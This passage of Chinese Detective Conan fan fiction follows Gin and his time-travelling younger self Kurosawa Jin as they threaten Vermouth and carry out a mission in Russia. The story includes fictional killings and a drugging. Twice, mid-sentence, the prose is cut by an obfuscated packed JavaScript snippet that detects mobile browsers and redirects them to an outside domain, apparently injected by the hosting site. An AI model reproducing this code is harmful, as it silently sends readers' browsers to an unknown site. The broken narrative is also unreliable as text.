“好事,这样你就不用辛辛苦苦上学小学生了,每次看见你回家写作业我都感到十分有趣。”琴酒先回答了他第一句话。 “听起来你还很遗憾。这不重要。”黑泽阵白了他一眼,他玩着手里的枪,手痒痒地,有点想开枪。 “对我来说很重要。”琴酒意味深长地说,他喜欢十九岁这个年龄。 黑泽阵忽然不说话了,他看了琴酒一眼,又移开了视线,神色明显出现了一些不耐,琴酒猜他或许是想问点什么,却又有点不想问,正处于一个纠结的状态。 这种纠结不会持续很久,琴酒判断,而且是在这种大家都心知肚明在说什么的时候。 “你那个时候说的‘自己’里面,包括了我吗?”黑泽阵问。他看向琴酒,却没有看着他的眼睛,而是把目光落在琴酒不断往下滴水的头发上。 琴酒没有立刻回答,黑泽阵口中那个时候发生的事对黑泽阵来说只是前十几分钟,但对他来说,已经是三年前,他想要从记忆中找到对应的句子还需要费点力气。 他想到了。黑泽阵说的,想来是指那句“我最重视的人,是我自己”。 “就是你。”琴酒大大方方地说了出来,他懒散地站了起来,仍由浴巾往下滑落了一小节,他靠近黑泽阵,一模一样的绿眼睛对视,琴酒伸出手,黑泽阵下意识屏住了呼吸,然后他就看见琴酒越过他,从他身边的抽屉里拿出了吹风机。 “……”他就知道。黑泽阵一点也不意外,看着琴酒把吹风机打开,吹风机嗡嗡的声音听得人心烦,他在烦人的声音里面有点困惑地问:“为什么?” 他还是不明白,为什么琴酒会把他看得很重要。他们似乎是一样的人,但却好像并不是同一个人。黑泽阵认为,如果是他的话,他最在意的人还是只会是他自己,只有他自己,琴酒说到底,也只是十年后的他,不是他。 琴酒一眼就知道他在想什么了,他想了一下,反问:“你不也觉得奇怪吗?为什么你会有十九岁之后的记忆。” “所以我刚刚才问你。”黑泽阵隐隐有所猜测,但他想听琴酒的回答。 “因为我们是同一个人。”琴酒放下了吹风机,吵闹的声音消失了,他凑近了黑泽阵,轻声说,“不是平行世界,也可能不是不同时间线,我们就是同一个人。” 19.第 19 章 四目对视,琴酒在想什么,黑泽阵心知肚明,他错开视线,刚想说点什么,就感觉到自己的手被抓了起来,他动了下手想要把手抽出来,被琴酒按住了,琴酒低下头,稍稍用力,咬了一下他的手指。 “我们之间的共感也可以证明这一点。”琴酒说,却没有松开他的手。 黑泽阵知道他就是想要这么做,但还是忍不住说:“为什么你不能咬你自己一口,效果是一样的。” “不一样。”琴酒的手指在刚才他咬出来的牙印上划过,黑泽阵垂眸盯着那个牙印看了两秒,也没有想到把手抽出来,他若有所思,知道琴酒说的并非没有道理,只是…… “为什么你看起来早就这么认为了?”黑泽阵有一点不服气,既然完完全全同一个人的话,那琴酒为什么能够比他先想到这点? 大概是因为黑泽阵的记忆并不完整。琴酒想。他知道黑泽阵并不是真的需要一个回答,只是在抱怨。 “因为我脑袋转得快。”所以琴酒这么回答,他终于松开了手,站直身体,拎起衣服准备给自己穿上,他的视线隐晦地在黑泽阵身上扫过,他眼里带着戏谑,说道,“别纠结那么多,男孩。” 黑泽阵因为琴酒最后的称呼送给他一个白眼,他朝着卧室走去,一边回击:“是,老男人。” 琴酒正在穿衣服的手顿住,他眯起眼看着黑泽阵走去卧室的背影,忽然发出邀请:“你今晚要和我一起睡吗?” 黑泽阵的脚步没停,头都没有回:“你也不担心我中途突然又变回六岁的样子。” “我说的是纯睡觉。”琴酒说。 “哦,那也不。”黑泽阵终于扭头看了他一眼,他非常记仇,提醒琴酒,“我刚来的时候,你还让我睡在椅子上,然后我感冒了。” “那个时候我不知道是你。”琴酒为自己解释了一句。琴酒是唯物主义者,所以在被庸医判断为精神分裂时,他虽然不信,也觉得确实没有更好的解释。 后来三岁的黑泽阵从天而降,打破了他的唯物主义,但刚来的时候黑泽阵完全失去记忆,像是真正的三岁小孩,他没想到会是黑泽阵,他讨厌小孩。 完全是他。黑泽阵说:“不意外,我也不喜欢小孩。”他说完就准备关上房门,却听见琴酒说:“我现在可以喜欢,晚安。” ……太温情了,这不琴酒。黑泽阵有点不适应,他在房间门口站了一会儿,低头看了眼属于十九岁成年人的手,十指修长,带有枪茧,上面突兀地留了一个很浅的牙印,他撇撇嘴,心想下次一定要咬回来。 他好像在变小的时候想过很多次要报复回去。 希望第二天不会变回小孩子。在彻底陷入沉睡前,黑泽阵是这么想的。 -------- 第二天醒来,事情如黑泽阵所想,他还是保持着十九岁的年龄。 很好,终于不用去该死的小学了。黑泽阵给自己请了个假。琴酒并不在家,估计又是临时被组织的任务叫走了。 黑泽阵很熟悉这一套,他也没有闲在家里,稍作伪装,就出了门。 他特意选在了米花小学附近,时间还是早上上学的时候,他不出意外地看见少年侦探团。 他盯着灰原和柯南看了一会儿,果不其然看见灰原立刻像是感觉到什么一样神色变得紧张了起来。随即是柯南开始故作镇定地左右张望。 黑泽阵收回视线,步伐轻盈地朝约定的位置走去,很快就感觉到身后被尾随了,不用想也知道肯定是柯南。 人在不同年龄的时候外形会有很大的变化,黑泽阵六岁的时候可以说是外形特征和琴酒极为相像,柯南百般怀疑,却也只是怀疑。而十九岁已经成年的黑泽阵不管从哪个角度看,除了年龄稍微年轻一点以外,都和琴酒几乎没有差别。因为他就是琴酒。 和他想的一样,在看见他的第一眼,柯南几乎就要以为琴酒又一次出现在自己面前了,他下意识地跟了上去,但在注意到青年的穿着后和年龄后,他愣了又愣。 灰原急急地跟了上来,抓住他的衣服想要阻止她:“他不是琴酒。” 柯南停住了,他怀疑地看着灰原,忽然意识到了什么,灰原的语气过于坚定,这句话是一个肯定句,柯南锋锐地反问:“为什么你会那么清楚?” “我就是知道。”灰原没法在这个问题上撒谎,她别开了头,知道这回大概是瞒不住江户川了。 柯南在脑海里把她最近的那些异常都串了起来,他有几分恍然大悟,刚想追问,就见黑泽阵即将消失在他的视线里,他咬咬牙,只能说:“等下再说,我先跟上去!你先回去吧。” 他说完这句话就甩开灰原跑了,灰原迟疑了几秒,最后还是没有决定跟上去,而是选择拨通了一个号码。 黑泽阵走进了一家很普通的商场,看起来就像是来购物一般休闲。 休闲得跟踪在他身后的柯南都开始忍不住怀疑,对方真的有可能和琴酒或者是组织有关系吗? 黑泽阵没有穿得一身黑,身上也看不出带了武器,简单的日常衣物让他看上去就像个普通的高中生或者是大学生——就是气质稍微有点冷过了头。 柯南这个念头只出现了几秒,还没等他仔细思考,他就发现黑泽阵消失在了他面前。 他惊愕地四处张望,往前走了两步,刚想去旁边的服装店里找人,突然听见身后有人在问:“你是在找我吗?” 对方声音低沉冰冷,带着像是猫抓老鼠一般的玩味,柯南猛地回头,看见黑泽阵站在他身后,不知什么时候穿上了黑色的外套,嘴角上翘,手里把玩着黑色的手.枪,一边叫出了他的名字:“工藤新一。” 柯南的大脑一片空白,他几乎以为这是一场噩梦,琴酒找到了他,并且下一秒一定是要杀死他,甚至是杀死他身边所有知道真相的人。 他浑身僵硬不能动,眼睁睁地看着琴酒对着他举起了枪,然后扣下了扳机。 “黑泽。”一道声音打断了黑泽阵的动作,黑泽阵露出一丝满意的笑,他回头,看见贝尔摩德站在服装店里,大明星善于伪装的脸上有几分掩盖不住的难看神色,黑泽阵再看向柯南的时候,就发现他已经聪明地抓住了机会躲了起来。 黑泽阵收起枪,贝尔摩德不愧是一流女明星,已经很快地调整了脸上的神色,现在已经能够镇定自若地冲着黑泽阵打招呼了:“嗨,好久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14938375|158025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不见,我这么叫你应该没有问题?我记得你是叫做黑泽……阵?” 贝尔摩德有意在“阵”这个读音上加重了语气,想要试探黑泽阵的反应。 两人远远地对视,黑泽阵淡定地脱下了黑色的外套,原封不动地放回了服装店里的衣架上,他说:“我没有意见。” “那就好。”贝尔摩德轻快地说,她走上前来,亲昵地想要挽住黑泽阵的手臂,却被黑泽阵后退一步躲开了。 黑泽阵清晰明了地表示:“我不喜欢女人。” “这样吗?”贝尔摩德露出惊讶的神色,“我还以为你今天把我叫出来,是想要和我约会呢,出门前还在想,十九岁的男孩还挺浪漫的。” 黑泽阵没搭理她,贝尔摩德早已收好了所有外露的情绪,现在一举一动在黑泽阵看来都假得不能再假,他不喜欢这样的说话方式。 不过既然贝尔摩德不想这么快说正事,那黑泽阵也打算问点别的。 所以黑泽阵问了:“你调过马丁尼吗?” 贝尔摩德扬眉,被他的话稍微从紧张的气氛中带了出来。黑泽阵问这个的意思是?他和琴酒到底是什么关系?为什么看起来这么在意? 贝尔摩德笑吟吟地说:“如果你说的是那种,苦艾酒和琴酒混合在一起的调酒话,那没有哦。你看起来很在意这个,既然我告诉了你答案,你能说一下为什么吗?明明上一次你似乎很坚定我和琴酒没有发生过任何关系。” 黑泽阵一直都知道,琴酒不可能和贝尔摩德发生关系。琴酒不会喜欢任何别的人。这个时候问,只是他想要让贝尔摩德闭嘴,别再乱造谣。 他现在是十九岁的年龄,但血统带来的身高体型让他比一般的男性要更高,高得足以低头充满压迫地看着贝尔摩德,然后冷冷地警告:“既然没有,那就不要乱说。工藤新一对你来说很重要,你也不希望他因为你一句乱说话然后莫名其妙地死掉吧。” 贝尔摩德脸上的笑僵硬了一秒,这是完全出乎意料的回应。她在心里大骂这人有病,她没有沉住气暴露了自己对工藤新一的重视,这是她的问题,行,黑泽阵用这个要挟她她不意外。可是这么多能够以此威胁她的事情,黑泽阵第一个说了个最让人无语的。 就因为这点事?贝尔摩德有点笑不下去了,她开始觉得这两人关系似乎并不是她想的那样。这种略微过头的占有欲,她上一次好像也略有察觉。比如她那回只是给黑泽阵输了个电话号码,对方就被琴酒拎走了。哦还有,琴酒瞪多了她几眼,也被黑泽阵拽走了。 这两个人。贝尔摩德后退了一步,上下打量黑泽阵,神色有几分复杂:“你和琴酒到底是什么关系?” 黑泽阵没有立刻正面回答这个问题,他只是很突兀地提到:“我喜欢金汤力,或者纯饮。” 金汤力?只有琴酒一种基酒。好吧其实也不需要她想那么多,后面那句纯饮就是答案。贝尔摩德抽了下嘴角,她果然没猜错。 黑泽阵看了她一眼,知道她没有完全明白。他不在意,他和琴酒的关系就存在于这里,不需要多言。 他们比世界上任何人与人之间的关系都要更为亲密。无人能懂,无人能比。 20.第 20 章 “你去找了贝尔摩德?” 黑泽阵推开家门的时候,琴酒坐在客厅的沙发上,看着手里的手机,头也没抬地问。 黑泽阵知道瞒不过他,也没有想过要隐瞒,点了下头,直接地说:“我找到了她的弱点,稍加威胁,她就答应要和我们合作了。” “我们?”琴酒不置可否地重复了一遍。 “不能是我们吗?”黑泽阵反问。他原本的计划里,他是打算先恢复原来的身体,然后再解决组织的问题。现在没想到他很突然地就恢复了十九岁,观察了一个晚上,他感觉自己不会再变回去了,于是决定先找上贝尔摩德进行了简单的交易。 贝尔摩德原本就对组织不算忠诚,现在又被他抓到了把柄,会答应并不出他的意料。 只是琴酒似乎并不是很想参与这件事。 黑泽阵站到了琴酒面前,从琴酒手里把他的手机抽走了,他翻过来看了一眼手机屏幕,上面是那一位发来的邮件,大意是说自己已经知道了黑泽阵的事,问琴酒是什么情况。 “那一位终于反应过来了啊。”黑泽阵看着屏幕思索了几秒,太巧了,他今天前脚才和贝尔摩德约了见面,后脚BOSS就知道了他的存在。大概率是贝尔摩德透露出去的,黑泽阵并不意外,贝尔摩德就算是被他要挟,也肯定会做一点自己的小动作。 “你还准备做什么?”琴酒问,他微微动脑其实就能够知道答案,但他更想听见黑泽阵亲口和他说。 “你知不知道诸伏景光,也就是苏格兰威士忌现在在哪里?”黑泽阵观察着琴酒的神色,他意识到琴酒有一点不太明显的不高兴,而且不是对那一位的,是对他的。不太可能是因为自己出去和贝尔摩德见面,也不会是因为他问苏格兰在哪里,那只有可能是这件事本身。 “知道。”琴酒把自己的手机拿了回来。没有马上告诉黑泽阵答案。他知道黑泽阵想要做什么,在黑泽阵准备去参加“茧”发布会的时候,他确实也决定简单地帮一下黑泽阵,但他现在改变主意了。 琴酒指出:“如果你准备光靠这些对付组织的话,你应该很清楚其中的困难。” 最大的问题是,琴酒觉得黑泽阵做这些好像是冲着整死组织去的,他还没做好这么快让这一任东家完蛋的准备。而且如果真要让组织完蛋,要做的事还有很多,还要和很多乱七八糟的人打交道,说不定其中还有很多废物和蠢货。 黑泽阵看着他,没有说话,脸上极快地掠过一点笑意,他发现琴酒这一次并没有弄清楚他真正想要的是什么。也不枉他之前一直藏得很好。 琴酒从他的神情里察觉到了一丝不对,刚想再说点什么,就被黑泽阵抢在了前面。 黑泽阵说:“我知道,我没打算靠我自己,我只是给那些正义之士提供一些帮助,主要是为了我们。” 琴酒似乎知道他想要做什么了,他目光微闪,等待着黑泽阵说出来。 只可惜琴酒在说这种话的时候,从来都不会直接了当地说出来,黑泽阵也是,他只是问了一个一直想知道的事:“过去十年里面,你从来没有想过要离开组织吗?” 他们不属于组织,最开始被要求潜伏在组织做卧底是听从命令,并非他们主动要求。 黑泽阵圣诞节那天,到穿越之时,一半的时间用来试图联系上线,另一边的时间用来烦躁,思考之后应该怎么做。只是没等他想出个结果,他就来到了这里。 琴酒的视线离开了他,落在他的身后,显然是陷入了一段回忆。琴酒回答了:“懒得。待在组织没有什么不好。” 他回答着黑泽阵的话,思绪却好像还沉浸在过去,不过很快,他就把视线重新放在了黑泽阵身上,他意味深长地说道:“我有种预感,你很快就要再经历一次穿越了,你会喜欢这一次的。” 黑泽阵不知道他在打什么哑谜,他现在还没有摸清楚自己穿越的规律,琴酒是想到了什么,才会这么肯定?他撇撇嘴,把话题扯了回来:“这和我们现在说的话题有什么关系吗?” “当然有关系。”琴酒说,他这一回不太介意给黑泽阵剧透,“这次应该是五年前,我因为任务去了一趟俄罗斯,那个时候你也在。” “然后呢?” 琴酒不再往下说,他坐在那,明明两人之间隔了半米远,他却露出了嫌弃的神情:“你身上还有贝尔摩德的香水味,我的建议是你立刻去洗个澡。” 去洗澡的结果就是,黑泽阵刚脱下衣服,推开浴室隔间的小门,他穿越了。 ------------- 完完全全被琴酒说中了。黑泽阵郁闷地吐出一口气,听见这个时间的琴酒在脑海里说:[看来你也不想接这个任务。] 黑泽阵:[一半一半。]故地重游对他们来说不算值得期待的事情,现在是琴酒二十四岁,他进入组织七年,想来已经算是高层。 但那一位的疑心病严重,如果他现在表现出了什么不妥被那一位知道了,依旧是会被怀疑。 黑泽阵觉得那一位最信任的人可能只有他自己,其余人,就算是匹斯克那一类的老组织成员他也平等地保留怀疑。说起来,他感觉自己又多了点记忆,是关于匹斯克的,原来那老家伙死了啊,他杀的,那不错,黑泽阵感到满意。 他透过琴酒的眼睛,看着现在就站在琴酒对面的匹斯克,脑海里闪过对方脑袋被子弹打穿的画面。这当然不是他的想象,应该是记忆。 黑泽阵看了看有着完整脑袋的匹斯克,觉得他的脑门确实挺适合开枪的。 看完才意识到,他现在的视线都是跟着琴酒来的,所以说,琴酒也早就看匹斯克不顺眼,并且早早地就选好开枪的位置了吗。 不愧是他自己。 匹斯克浑然不觉琴酒对他早已暗暗生起杀心,他还摆着组织老成员的腔调,很啰嗦地把这次的任务安排给了琴酒。 黑泽阵知道琴酒没听,因为琴酒在和他说话。 [我们现在在叶卡捷琳堡。]琴酒说,他偏头看向路边层叠的建筑。 他们所在的这片位置,大多数房屋风格都是以俄罗斯传统的风格为主。他们其实没有来过叶卡捷琳堡,但却还是觉得熟悉。冬日的严寒已经在慢慢褪去,融化的雪水滩在地面上反射出春日温暖的光。 琴酒和黑泽阵听着匹斯克的话,一只耳朵进,一只耳朵出,直到匹斯克突然说:“还有一件事,琴酒,一直负责这边任务的那位大人让我们在做任务的时候,顺便把一只老鼠解决掉。” 琴酒的注意力被这句话拉了回去,他的脚步微不可查地顿了半秒,他没有出声,听着匹斯克继续往下说:“那位大人说,那个卧底也在他手底下待了挺久了的,三年了吧,他不想亲自动手,所以让我们来。” “哪一边的老鼠?”琴酒开口了。他注视着水坑反射的阳光,感觉光线刺眼,他不适合在白天出门。 “俄罗斯啊,FSB。怎样琴酒,交给你了,这个任务主要是你负责,那你也顺便把这件事做了吧。” “……”琴酒的心情突然变得很糟糕,其中很大一部分原因一定是因为匹斯克过于聒噪,他碰了下口袋里的枪,冷冷地问,“既然你知道这个任务主要是我负责,那请你闭嘴。” 能够在这句话里面加上“请”字,是琴酒最大的礼貌。 匹斯克脸上浮现了被冒犯的神情,他肯定是想要说点什么,但琴酒往前走,大步甩开了他。 这就是琴酒所说的,他一定会喜欢的穿越吗?黑泽阵开始怀疑了。如果是让他去杀FSB卧底的话,那可以说是绝对糟糕的体验了。琴酒当时真的不是在说假话吗? [这个卧底没有办法救。]黑泽阵说。一个身份已经完全暴露的卧底,只是因为这边负责人一丝无用的怜悯而没有被立刻杀死,这样的卧底,就算是他们有心想放过,在几乎没有手下的俄罗斯,也无能为力。 [我这次来没打算节外生枝。]琴酒淡淡地说,他的情绪调整得很快,那一点很浅的兔死狐悲很快消失在了暗沉的寒潭里。 黑泽阵知道这个意思就是照杀,不影响。他想到了自己第一次被要求去处理卧底时的心情,不知道琴酒此时是否和他想的是一件事。那是刚进组织没多久,他的身份都还在被层层审核,但他处理得很好,情绪没有丝毫外露,或者说他其实并没有觉得,处理和自己有着相同身份的人是一件残忍且难以下手的事情。 这一次也是一样,他只是有一点很浅的惋惜,想来琴酒也是。 黑泽阵想起自己还是孩子的时候,训练营的教官说他是天生的杀手,是最适合潜伏做卧底的人,他们唯一需要担心的是,他会不会因为长期的潜伏丢失认同感,被黑暗所同化。 记忆还停留在十九岁的黑泽阵不觉得自己会被同化,因为他本来也没好到哪里去,他问琴酒:[你想过离开吗?] 这个问题他前几分钟才问过二十九岁的琴酒,这次是五年前,黑泽阵觉得自己会得到一点不一样的回答。 [懒得。待在组织没有什么不好。]琴酒的回答和五年后没有区别。黑泽阵怀疑五年后的琴酒就是按照今天的答案再一次回答他的。 只是下一句,琴酒又说了:[如果你想离开,那也可以。]琴酒对要去哪里感到无所谓,他十九岁那个时候有过很强的离开组织的念头,只是后来他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14946309|158025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意识到,组织对叛徒一向采取斩尽杀绝的态度,他有能力躲过追杀,却觉得无趣,只有他一个人的话,去哪里也无所谓。 那干脆就待在组织。 这一次,黑泽阵听懂了。所以他的声音里带上了几分愉悦,他说:[再等一等吧。]等到五年后,等到正确的时间线。 -- 在这个时候,黑泽阵还以为,琴酒说的“你会喜欢这一次”,是因为他与琴酒之间的简单交流。尽管觉得琴酒有些夸大,但黑泽阵也没有多想,他在这个时空本来也只是一个看客。 只是很快,事情有点失控了。 事情要从一个小时前说起,琴酒和那名俄罗斯的组织成员——同时也是FSB的卧底站在一起,这名FSB的卧底有着标准的俄罗斯体型,也难怪只能够在俄罗斯这边潜伏,琴酒懒得记他的代号,反正也是个将要死的人,所以他用“喂”来称呼对方。 “喂,目标现在是什么情况?”他们说的是俄语,琴酒的俄语很好,所幸的是他其他语种掌握得同样不错,不会引起怀疑。 “确认死亡。”对方回答,却并没有把狙击枪从肩膀上放下来。 琴酒敏锐地意识到了一点不对,他后退一步,几乎想要立刻拔.枪。 可也就是在这个时候,匹斯克的电话打了进来,手机在他口袋飞快地震动,是他们之前说好的简单暗号,如果这个卧底不能立刻处理,那匹斯克会打电话来。 该死,偏偏在这个时候,琴酒完全可以不顾匹斯克的命令直接开枪,但一秒的停顿已经让他错失机会,高大的俄罗斯男人抓住机会偏转狙击枪,接连对着不同的点位开了枪,琴酒估算着方位,立刻知道他做了什么。 这个家伙,把三个方向的所有人全部引了过来。这是知道自己已经暴露,所以决定拖着组织的人去死吗? 琴酒能够理解对方的所作所为,但不代表他会高兴。事到如今,他再开枪杀死对方也来不及了。琴酒算着时间,他早有应对这种突发情况的计划,想要撤走来得及——只要匹斯克不再给他添乱子。 琴酒早已举起枪,稳稳地对准了高大的俄罗斯男人,他接通了匹斯克的电话,听见匹斯克急促地说:“他带走了一份很重要的资料,你必须拿回来!” 琴酒应都懒得应一声,挂断电话扔回口袋,他站在原地没动。 “啊,匹斯克说的是这个吧。”俄罗斯男人放下了狙击枪,从口袋里拿出了一个U盘,当着琴酒的面甩了甩,男人嗤笑一声说:“如果你想要帮你的组织拿到这个的话,你放下枪,我们打一架。打赢我,我就给你。不然里面有密码,除了我以外任何人都打不开。” [拖延时间的好办法。不但想要困住你,还想把匹斯克引过来。]黑泽阵评价,[只可惜找错了人。] 在他的话语里,琴酒没有半点犹豫地开了枪,子弹在男人惊愕的眼神中朝着男人飞去,精准地命中了对方的胸口。 没有打头部的原因是因为对方戴着材质不明的帽子,琴酒担心无法一击致命。 子弹被心脏击中后还能够活几分钟,琴酒在男人彻底不动的时候才靠近,伸手从对方手里抽走了U盘。 可也就是在这个时候,男人起死回生一般地动了,像是回光返照,爆发出了极快的速度,他的袖子里滑出针管,琴酒瞳孔收缩,想要避开却已经来不及,针管刺进了他的小腿。 [该死,这个人的心脏长在右边。]黑泽阵有点心跳加快,[你能感受得出是什么药物吗?我们有大部分药剂的抗体,刚扎进来这个剂量很小,就算有反应应该也不大,我们先离开这里。] 琴酒听见了,却站在原地没有动,他恍惚了两秒,才弯下腰从男人手里抽走了还没完全注射完的针管。 然后他和黑泽阵同时看见了藏在男人袖子里的另一个针管。两个针管一模一样,上面没有任何标签,辨识不出内容。 琴酒的声音略带上了一点黑泽阵没有明白的古怪:“他用错了。” 他认得出来,都是组织出品,其中一管从颜色上看,应该是他熟悉的那种毒药,而另一种…… 黑泽阵能够感受到琴酒的身体在发热,但毕竟不是他控制身体,他不能具体地感受是什么问题,直到琴酒开口说:“我知道这种药,组织产的,影响不大。” [?]黑泽阵忽然意识到,不管这种药是不是真的影响不大,但琴酒肯定受影响了,因为琴酒现在所有话都是直接说出来的,而不是在脑海里和他对话。 所幸顶楼风大,琴酒的声音很快被风卷走,只是黑泽阵还是听见了。 “作用大概是……一点致幻和催情。”